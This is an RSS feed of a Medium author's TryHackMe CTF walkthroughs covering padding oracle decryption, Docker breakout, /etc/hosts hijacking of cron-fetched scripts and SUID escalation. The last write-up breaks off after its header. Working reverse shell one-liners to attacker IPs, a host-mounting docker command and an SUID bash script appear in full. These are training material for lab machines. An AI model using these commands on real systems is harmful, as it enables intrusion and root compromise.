<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kumarjit dron on Medium]]></title>
        <description><![CDATA[Stories by Kumarjit dron on Medium]]></description>
        <link>https://medium.com/@kumarjitdron69?source=rss-c43ad58b4bbc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*gvAUkUjeDytKTbBH</url>
            <title>Stories by Kumarjit dron on Medium</title>
            <link>https://medium.com/@kumarjitdron69?source=rss-c43ad58b4bbc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 12:54:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kumarjitdron69/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[New York Flankees (THM-Writeup)]]></title>
            <link>https://medium.com/@kumarjitdron69/new-york-flankees-thm-writeup-bae25f5f0c92?source=rss-c43ad58b4bbc------2</link>
            <guid isPermaLink="false">https://medium.com/p/bae25f5f0c92</guid>
            <category><![CDATA[new-york-flankees-ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Kumarjit dron]]></dc:creator>
            <pubDate>Fri, 19 Jul 2024 09:41:30 GMT</pubDate>
            <atom:updated>2024-07-19T09:41:30.430Z</atom:updated>
            <content:encoded><![CDATA[<p>Explore the New York Flankees CTF challenge with this concise write-up, providing a clear, step-by-step guide to solving the puzzle and enhancing your cybersecurity skills.</p><p>Starting with a network scan, we identified two open ports: <strong>22 and 8080</strong>, paving the way for further exploration in the New York Flankees CTF challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*rhmWvGxTbw1w8fMw4RqOMg.png" /></figure><p>Visiting port 8080, we encountered a straightforward static website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2GOl2jdndB_6fr2hinDbHw.png" /></figure><p>On Stefan’s page, we found a hint related to padding, which will be crucial for the later <strong>Oracle Padding Attack</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*Vp1mU8U3e76fP3y8NoYrAw.png" /></figure><p>On Stefan’s source page, we discovered a cipher related to the Oracle Padding Attack that we need to break.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*E1_9sXJTiXW4_DjPBni4dw.png" /></figure><p>and also we got url: /api/debug/&lt;cipher&gt;</p><p>To break the cipher, we’ll use the<strong> Padre tool</strong> to exploit the <strong>Oracle Padding Attack.</strong></p><blockquote><a href="https://github.com/glebarez/padre">https://github.com/glebarez/padre</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u45ToYL_pJ66OPeGNpbqgw.png" /></figure><blockquote>command: ./padre -e lhex -u ‘http://&lt;ip&gt;:8080/api/debug/$’ &lt;cipher&gt;</blockquote><p>After decrypting the cipher, we obtained the username and password for the admin panel.Logging in with the obtained credentials, we accessed the admin panel and retrieved the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*5nwrFSvBCZe-_s2L__gDew.png" /></figure><p>We encountered an interesting input field on the admin panel that prompts us to enter a command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*eLRNwsItFFcEwhH1VTfX_Q.png" /></figure><p>Entering a command in the input field returns only an “OK” response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*dsJYcPK-8sj35Ee-OVn8Vg.png" /></figure><p>Even when entering a reverse shell command, it did not trigger, only returning an “OK” response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*eykZt7OVMReRhwS7ttjIMA.png" /></figure><p>I saved the reverse shell script to a local file, started an HTTP server, and then downloaded and executed it through the input field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*UPu0NwwVP8JbesZFf-4DsA.png" /></figure><p>starting http server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*pwfXUIPdVVlRdPnt_pVqjA.png" /></figure><p>downloding reverse shell :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*s2FIadEY8IkBmiwMXb0JTw.png" /></figure><p>executing it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*hRHSQaCYC9ReZoJfYeTcOQ.png" /></figure><p>After starting the listener and executing the reverse shell, we successfully established a shell connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*ZBFiPJeTih4alvWTlwZlmg.png" /></figure><p>During enumeration, we discovered another container flag using the env command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*cP8LNs2rfkHFng3v-eLfug.png" /></figure><p>It became clear that the environment is a <strong>Docker container</strong>, so our next step is to break out of it.</p><h3>Docker-Breakout:</h3><p>Using <strong>HackTricks</strong>, I followed specific steps to attempt a Docker container breakout.</p><blockquote><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation</a></blockquote><p>We listed the running Docker images using the <strong>docker images</strong> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*7O4SUihCGffdFBmqhXLVqw.png" /></figure><p>We focused on the <strong>openjdk </strong>image for the next steps in our breakout process.</p><blockquote>docker run -it -v /:/mnt openjdk:11 chroot /mnt bash</blockquote><p>we use above command to breakout from container and we got root shell and also we can also see flag.txt for final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*fwoO5CcCfQmbhm-C9WRJIw.png" /></figure><p>This command does the following:</p><p><strong>1</strong>. `<em>docker run -it`: Starts a new Docker container in interactive mode.</em><br><strong>2</strong>. <em>`-v /:/mnt`: Mounts the host’s root filesystem (`/`) to the container’s `/mnt` directory, giving the container access to the host’s filesystem.</em><br><strong>3</strong>. <em>`openjdk:11`: Specifies the Docker image to use, which in this case is an OpenJDK image (version 11).</em><br><strong>4</strong>. <em>`chroot /mnt bash`: Changes the root directory of the container to `/mnt` (which is now the host’s root filesystem) and starts a `bash` shell.</em></p><p>In essence, this command allows you to run a `bash` shell inside the Docker container with access to the host’s filesystem, making it possible to interact with files and directories outside the container.</p><h4><strong>Conclusion:</strong></h4><p>The <strong>New York Flankees</strong> CTF challenge took us from initial scans to a successful Docker breakout, enhancing our skills and knowledge in cybersecurity. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bae25f5f0c92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NanoCherryCTF (writeup-THM)]]></title>
            <link>https://medium.com/@kumarjitdron69/nanocherryctf-writeup-thm-253d4389a68d?source=rss-c43ad58b4bbc------2</link>
            <guid isPermaLink="false">https://medium.com/p/253d4389a68d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[nanocherryctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kumarjit dron]]></dc:creator>
            <pubDate>Sun, 07 Jul 2024 06:55:02 GMT</pubDate>
            <atom:updated>2024-07-09T05:51:13.937Z</atom:updated>
            <content:encoded><![CDATA[<p>NanoCherryCTF on TryHackMe is a ctf challenge that tests skills in privilege-escalation and web exploitation. It’s perfect for both beginners and experts looking for a hands-on learning experience.</p><p>First, I started with network scanning using Nmap and found that ports 22 and 80 were open:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*NaIFP3rkge7jUs8saFBtRg.png" /></figure><p>Next, as instructed in the challenge, I resolved the given IP with cherryontop.thm in the <strong>/etc/hosts </strong>file</p><p>We were given a username and password to log in via SSH:</p><blockquote>Username: notsus Password: dontbeascriptkiddie</blockquote><p>I logged into the SSH account .</p><h3><strong>Bob-boba :</strong></h3><p>Upon further enumeration of the notsus account, I discovered that <strong>/etc/hosts</strong> is writable. using linpeas.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*RV-lLsSVpjgMtlYC1Ua5AA.png" /></figure><p>Using <strong>pspy32</strong>, I monitored the processes and found that user bob-boba is running a shell script by downloading it from <strong>cherryontop.tld:8000/home/bob-boba/conflip.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wzHNLNU1no77purDXexV-Q.png" /></figure><p>I added my local IP address as an entry for cherryontop.tld in <strong>/etc/hosts</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*0CSPmL7uYDJ2siDDPN9uSg.png" /></figure><p>On my local machine, I created a directory structure and placed a script to mimic bob-boba’s behavior:</p><blockquote>mkdir -p home/bob-boba</blockquote><p>Inside the home/bob-boba directory, I created coinflip.sh:</p><blockquote>nano home/bob-boba/coinflip.sh</blockquote><p>added a reverse shell script to coinflip.sh, tailored for the challenge.</p><pre>sh -i &gt;&amp; /dev/tcp/10.14.74.78/9001 0&gt;&amp;1</pre><p>Next, I started an HTTP server on port 8000 in the current directory to serve coinflip.sh:</p><blockquote>python3 -m http.server 8000</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*AZzI8S4eZc5tDMTIRwlUcA.png" /></figure><p>I started a listener to catch the reverse shell connection:</p><blockquote>nc -lvnp 9001</blockquote><p>and got bob-boba shell and <strong>chad’s key3</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*iFYtsyv4rQMck8K6IYlvXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*nL8BJ0WXOuArtyTUZMKZVQ.png" /></figure><h3>Molly-milk :</h3><p>First, I accessed cherryontop.thm to enumerate Molly’s account:</p><p>During my investigation, I discovered a helpful hint in a video suggesting to explore subdomains associated with cherryontop.thm</p><p>I utilized ffuf for enumerating subdomains associated with cherryontop.thm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*WzMEGuNAC9zodPMhlCekng.png" /></figure><blockquote>ffuf -u <a href="http://cherryontop.thm/">http://cherryontop.thm</a> -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H ‘Host: FUZZ.cherryontop.thm’ -fs 1396</blockquote><p>I successfully discovered <strong>nano.cherryontop.thm</strong> as a subdomain associated with the challenge.</p><p>To facilitate access to<strong> nano.cherryontop.thm</strong>, I added an entry to the <strong>/etc/hosts</strong> file.</p><p>I encountered an admin portal where initial enumeration did not yield results. To deepen my investigation, I initiated directory fuzzing:</p><blockquote>diresearch — url <a href="http://nano.cherryontop.thm/">http://nano.cherryontop.thm</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*UWLHlyYu_AVm5tfTrTQZjg.png" /></figure><p>Through directory fuzzing, I discovered /users.db:</p><blockquote>Path: nano.cherryontop.thm/users.db</blockquote><p>and found credential for admin portal on users.db:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*5hA2tiEvvAfm9PpMBP3jAQ.png" /></figure><p>Using credentials obtained from /users.db, I successfully logged into the admin portal on nano.cherryontop.thm and accessed Molly’s dashboard, flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*TcVBnHNCeh6dOBnAKc3JcA.png" /></figure><p>At the bottom of the dashboard, I discovered the <strong>SSH password</strong> for Molly’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSF9R6byAx0fdxIdrCDKyg.png" /></figure><p>With Molly’s SSH credentials from the admin portal, I logged into her account. and I found <strong>Chad’s key1.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*gdt32nPpK2wV80JgdfVXkg.png" /></figure><h3><strong>Sam-sprinkles:</strong></h3><p>After obtaining Chad’s key1 through Molly’s SSH account, I focused on enumerating for Sam-sprinkles’ account on cherryontop.thm. Despite numerous attempts and exhaustive enumeration, I initially found nothing substantial.</p><p>During my persistent efforts, I revisited <strong>cherryontop.thm</strong> and came across the <strong>Ice-Cream Fact</strong> page.</p><p>I identified an<strong> IDOR</strong> (Insecure Direct Object Reference) vulnerability on the Ice-Cream Fact page. This vulnerability exposes broken access control mechanisms, allowing unauthorized access to restricted resources.</p><p>I observed that the users parameter is encoded in base32 format.</p><p>so I enumerate it using burpsuite using intruder and select numbers as payload.</p><p>I found <strong>facts =43 and user = sam-sprinkles (in base32)</strong></p><blockquote><a href="http://cherryontop.thm/content.php?facts=43&amp;user=ONQW2LLTOBZGS3TLNRSXG===">http://cherryontop.thm/content.php?facts=43&amp;user=ONQW2LLTOBZGS3TLNRSXG===</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*pIwuL9vdLBX2FjSOoJ5-Ig.png" /></figure><p>got ssh credentials of sam-sprinkles.</p><p>I successfully logon to Sam-sprinkles and got <strong>chad’s key2</strong>.</p><h3>Chad-cherry:</h3><p>By combining Chad’s <strong>key1, key2, and key3,</strong> I successfully logged into Chad-cherry’s account. This consolidation of keys enabled access to additional privileges and information within the CTF challenge.</p><p>and got chad’s flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*nfQgLG7IGGvS3xo0K5lM2g.png" /></figure><h3>root:</h3><p>I discovered a rootPassword.wav file on chad’s account. This file likely holds credential for root user to escalate privileges to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*jIDQs8UzZLBGhCUPAhiQlA.png" /></figure><p>it appeared to contain an SSTV (Slow Scan Television) signal. To extract the encoded information, I utilized an SSTV decoding tool:</p><blockquote><a href="https://github.com/colaclanth/sstv">https://github.com/colaclanth/sstv</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*YVSDXS6AXaIDZojUR_2tQg.png" /></figure><p>By decoding the SSTV signal, I successfully retrieved the PNG file and extracted the root password it contained.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*OJkz81l71ZbgFlLlNccXKQ.png" /><figcaption>png file we got.</figcaption></figure><p>I successfully logged into the root account and got root flag and marking the completion of the CTF challenge.</p><p>Through meticulous enumeration, leveraging vulnerabilities, and decoding SSTV signals, I navigated cherryontop.thm to achieve root access. This challenge underscored the importance of persistence and creative thinking in cybersecurity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=253d4389a68d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Publisher (Tryhackme-writeups)]]></title>
            <link>https://medium.com/@kumarjitdron69/publisher-tryhackme-writeups-040046cc7550?source=rss-c43ad58b4bbc------2</link>
            <guid isPermaLink="false">https://medium.com/p/040046cc7550</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Kumarjit dron]]></dc:creator>
            <pubDate>Sat, 29 Jun 2024 17:15:24 GMT</pubDate>
            <atom:updated>2024-06-29T17:19:14.441Z</atom:updated>
            <content:encoded><![CDATA[<p>This interactive challenge lets you solve real-life website issues. While gaining initial access is manageable, the privilege escalation is particularly challenging. Whether you’re new to cybersecurity or honing your skills, the “<strong>Publisher</strong>” room offers an engaging and educational experience.</p><p>First, I performed a network scan using Nmap and discovered that ports <strong>80</strong> and <strong>22</strong> were open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*yoRFsZG8cJii7OTjvMfeQA.png" /></figure><p>Next, I visited the HTTP page but found nothing significant despite further exploration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YmbOKf8NInkhdIESuFJS0g.png" /></figure><p>I used DirBuster for directory fuzzing and found the /spip directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*bI1XzaLNOHYQryIyop85Cg.png" /></figure><p>Upon visiting /spip, I discovered that <strong>SPIP CMS</strong> is installed. From the page source, it’s evident that <strong>SPIP version 4.2.0</strong> is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8vc3RIFlicqnYjR10Fa6dQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*ZnV4VYyE_y7NkaY2J7X0kA.png" /></figure><p>Using searchsploit, I found an exploit for SPIP CMS (version 4.2.0) that allows for unauthenticated remote code execution (RCE).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aR_8CZK1CZbTa-arwWoN5A.png" /></figure><p>I utilized <strong>Metasploit</strong>, configured all necessary options, and successfully gained access using <strong>Meterpreter.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wnvPKOmk-SGC_krtDsbCJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15LEOAwIiU4AycRNYIKuqA.png" /></figure><p>However, I initially accessed the system as the <strong>www-data</strong> user. Despite this limitation, I was able to read the <strong>user.txt</strong> file. To escalate privileges, I copied the <strong>id_rsa</strong> key belonging to the <strong>“think” </strong>user and successfully connected to their account via <strong>SSH.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*7wDaV_Eo2xLDVi0-sVg4CQ.png" /></figure><p>To access SSH using the id_rsa key, I saved it locally and set its permissions using <strong>chmod 600 id_rsa </strong>. This allowed me to securely log in to the “think” user account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*Ou1b-cKwojmCIHL42F8DPQ.png" /></figure><p>Now, with SSH access as the “think” user, I was able to view the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*0pfsCMrPCTxhy0c1igDpKQ.png" /></figure><h3>Privilege Escalation</h3><p>Next, I proceeded with privilege escalation.</p><p>After extensive enumeration, I discovered that the run_container binary has the SUID bit set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*qODBRFkHViOjVbylqf5YuQ.png" /></figure><p>Upon disassembling and investigating with Ghidra, I found that the run_container binary executes a script located at <strong>/opt/runcontainer.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*Xjcc-BS0xwsRyrBJAdBDfA.png" /></figure><p>Upon navigating to <strong>/opt</strong>, I encountered a situation where I couldn’t list directory contents using ls. I’m stuck at this point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*qNAmR3ATojzyV7P_oadyIg.png" /></figure><p>Further investigation revealed that the shell I’m currently using is named <strong>ash</strong>, which is a unique shell variant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*FARDId1i9Onm547onIXvyA.png" /></figure><p>Following a hint from the challenge, I conducted research on AppArmor, as I had no prior knowledge of it. Through my exploration, I discovered the directory <strong>/etc/apparmor.d</strong> and found a file named usr.bin.ash in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jBVq2UTl-MmRMnCbVP47Gw.png" /></figure><p>Upon further investigation <strong>usr.sbin.ash</strong>, I noticed that certain directories have read and write permissions due to being in<strong> complain mode</strong> in AppArmor’s <strong>deny list.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*kcDLmheIERGBqH2qklPXTA.png" /></figure><p>To leverage its write permissions, I copied <strong>/bin/bash</strong> to <strong>/dev/shm</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*M28O2cwRShdMl46S74NrwA.png" /></figure><p>After changing our shell to <strong>/dev/shm/bash</strong>, we were able to successfully execute ls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*wMDNo0m6o7xS_g6MfTcXIQ.png" /></figure><p>Now that we have write permissions, I replaced the <strong>/opt/runcontainer.sh</strong> script with my own code, knowing it is executed by the SUID binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*LV4wrCpov3xlAuGqqAlGxg.png" /></figure><pre>#!/bin/bash<br>cp /bin/bash /tmp/bash<br>chmod +s /tmp/bash</pre><p>This script copies /bin/bash to /tmp/bash and sets the SUID bit.</p><p>I executed the run_container binary again. Now, there is a bash file in /tmp with the SUID bit set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*onXbfjAnDxjTfgSbB8d9EA.png" /></figure><p>I changed my shell to<strong> /tmp/bash</strong> and successfully obtained a <strong>root shell.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*Y4HPLWDFEfDKx5jTupG6ag.png" /></figure><p>Successfully obtained the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*NEz6z6VYXQivK8l-mkNchw.png" /></figure><p>Navigating through the “Publisher” room on TryHackMe, I faced challenges in web application security and privilege escalation. From initial reconnaissance to leveraging AppArmor and SUID binaries, each step required careful exploration and persistence. This experience highlighted the crucial skills of reconnaissance, exploit utilization, and privilege escalation in cybersecurity challenges.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=040046cc7550" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[mKingdom (THM) writeup]]></title>
            <link>https://medium.com/@kumarjitdron69/mkingdom-thm-writeup-31abe57fc4d5?source=rss-c43ad58b4bbc------2</link>
            <guid isPermaLink="false">https://medium.com/p/31abe57fc4d5</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Kumarjit dron]]></dc:creator>
            <pubDate>Sat, 15 Jun 2024 14:29:04 GMT</pubDate>
            <atom:updated>2024-06-15T14:29:04.855Z</atom:updated>
            <content:encoded><![CDATA[<p>Curious about breaking into a digital fortress? TryHackMe offers interactive CTF challenges that mirror real-world cybersecurity scenarios. One of their latest, the “mKingdom” box, is a medium-difficulty challenge designed to sharpen your penetration testing skills. However, be prepared, as this machine requires lots of enumeration. In this article, we’ll walk you through the “mKingdom” box, share key insights, and provide tips to help you conquer this exciting challenge. Dive into the world of cybersecurity with the “mKingdom” CTF!</p><p>To begin our journey, we start with network scanning to identify open ports and services. Below is the screenshot of our initial Nmap scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*d0d1ml4-2dyXRgHK1gX2ug.png" /></figure><p>As you can see, only one port is open, and the service running on it is HTTP. Visiting the page showed nothing, so I initiated directory fuzzing and discovered a directory: /app</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*llHiYaBhWNig43LWIUr_xA.png" /></figure><p>Visiting this directory, I saw a login button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vHlepO8A1TzVJCzlUGfh1Q.png" /></figure><p>After several attempts using the username ‘<strong>admin’</strong> and experimenting with various passwords, I successfully identified the password as <strong>‘password’.</strong></p><p>Logging in, I accessed a file manager interface where I noticed a file upload button. This discovery immediately sparked my interest in exploring potential file upload vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KmCulJeZTQAKXM5ZZlGerg.png" /></figure><p>However, my attempts to upload a reverse shell were unsuccessful as I encountered restrictions or filters preventing the upload of executable PHP files.</p><p>Further investigation revealed that the CMS of this site is Concrete5. After extensive research, I discovered that Concrete5 allows administrators to specify valid file extensions for uploads,so I add php as valid file extensions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*uNW2s5uMecGs39E5v88ccQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*aJqxmHH9TUMxTnoHY-3uIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GW3XL6-j_01ITAXgPDaqvw.png" /></figure><p>and again upload my reverse shell and start netcat listener. I got initial access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*LvmLt74ReqmG3-T2UyNB2Q.png" /></figure><p>Continuing my exploration, I shifted focus to enumerating the system as the www-data user. Eventually, I located a crucial directory at <strong>/var/www/html/appcastle/application/config</strong>. Inside, I found a file named database.php containing valuable credentials, including the username and password for the toad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*uJTFgtelQzpnm9YvHZvKpw.png" /></figure><p>so I switch to toad’s account using this password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*ArvOZ2B-3YGoEf9y6UySyg.png" /></figure><h3>Lateral Escalation</h3><p>After initially accessing the system as www-data and discovering the database credentials for Toad, I continued my enumeration to identify the actual user, Mario. Despite exploring with Toad’s credentials, I did not locate the user.txt flag associated with Mario.Upon further enumeration of Toad’s account, I came across an environment variable pwd_token with the encoded value <strong>aWthVGV0VEFOdEVTCg==</strong>. Using decoding techniques, I successfully deciphered this to be Mario’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*ZZl-cfVTot53ISdWa4nKnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*LHHqMeKQ8WzgW7LbcIpLdA.png" /></figure><p>I switch to mario’s account using this password.</p><p>After switching to Mario’s account with the decoded password, I found user.txt in <strong>/home/mario/user.txt</strong>, but it had root privileges. To access it, I copied the file to <strong>/tmp:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*SluwnUeCELPCrSJOK7fuTQ.png" /></figure><h3>Privilege Escalation</h3><p>proceeded to enumerate potential routes to escalate privileges to root. Using LinPEAS, a comprehensive privilege escalation script, I identified a critical finding: the <strong>/etc/hosts</strong> file was writable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*SH9t7KWysjakVWuVEaBFzA.png" /></figure><p>I deployed pspy32 to monitor system activity in real-time. Through this monitoring, I uncovered a cronjob configured to download and execute a shell script as root.</p><p>The cronjob was fetching the shell script from a remote server using the command:</p><blockquote>curl mkingdom.thm:85/app/castle/application/counter.sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ffF0T6YmpQmSlgOwLxagpQ.png" /></figure><p>I modified counter.sh, a script downloaded by a cronjob, to include a reverse shell payload:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/your_local_ip/your_local_port 0&gt;&amp;1</pre><p>I set up a local server hosting this modified script at <strong>/app/castle/application/counter.sh</strong> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*WSRDTcoWz-LjoUfCdUzboA.png" /></figure><p>On the victim machine, I edited /etc/hosts to resolve mkingdom.thm to my local IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*b2dFadd4QfYopirbWcz6DQ.png" /></figure><p>When the cronjob executed counter.sh, it established a reverse shell connection, granting me root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*xNGumvaXHM5ppGRKM7-54g.png" /></figure><p>In conclusion, navigating through the “mKingdom” CTF challenge on TryHackMe has been both exhilarating and educational. From initial reconnaissance to privilege escalation, each step offered insights into real-world cybersecurity scenarios.Starting with basic enumeration and exploiting vulnerabilities in a Concrete5 CMS setup, I progressed through user escalation and ultimately achieved root access by manipulating a cronjob. This experience underscored the importance of thorough reconnaissance, persistence, and creative problem-solving in penetration testing.Reflecting on this journey, I’ve gained valuable skills in network enumeration, web application security, privilege escalation, and more. The hands-on nature of CTF challenges like “mKingdom” provides an invaluable learning platform for aspiring cybersecurity professionals.I encourage all enthusiasts to embark on similar challenges on TryHackMe, continuously sharpening their skills and expanding their knowledge base. Remember, every challenge offers an opportunity to learn and grow in the dynamic field of cybersecurity.</p><p>Thank you for joining me on this adventure. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31abe57fc4d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Airplane (Tryhackme)-writeup:]]></title>
            <link>https://medium.com/@kumarjitdron69/airplane-tryhackme-writeup-005cd47af6fc?source=rss-c43ad58b4bbc------2</link>
            <guid isPermaLink="false">https://medium.com/p/005cd47af6fc</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[airplanes]]></category>
            <dc:creator><![CDATA[Kumarjit dron]]></dc:creator>
            <pubDate>Mon, 10 Jun 2024 13:24:56 GMT</pubDate>
            <atom:updated>2024-06-10T13:24:56.213Z</atom:updated>
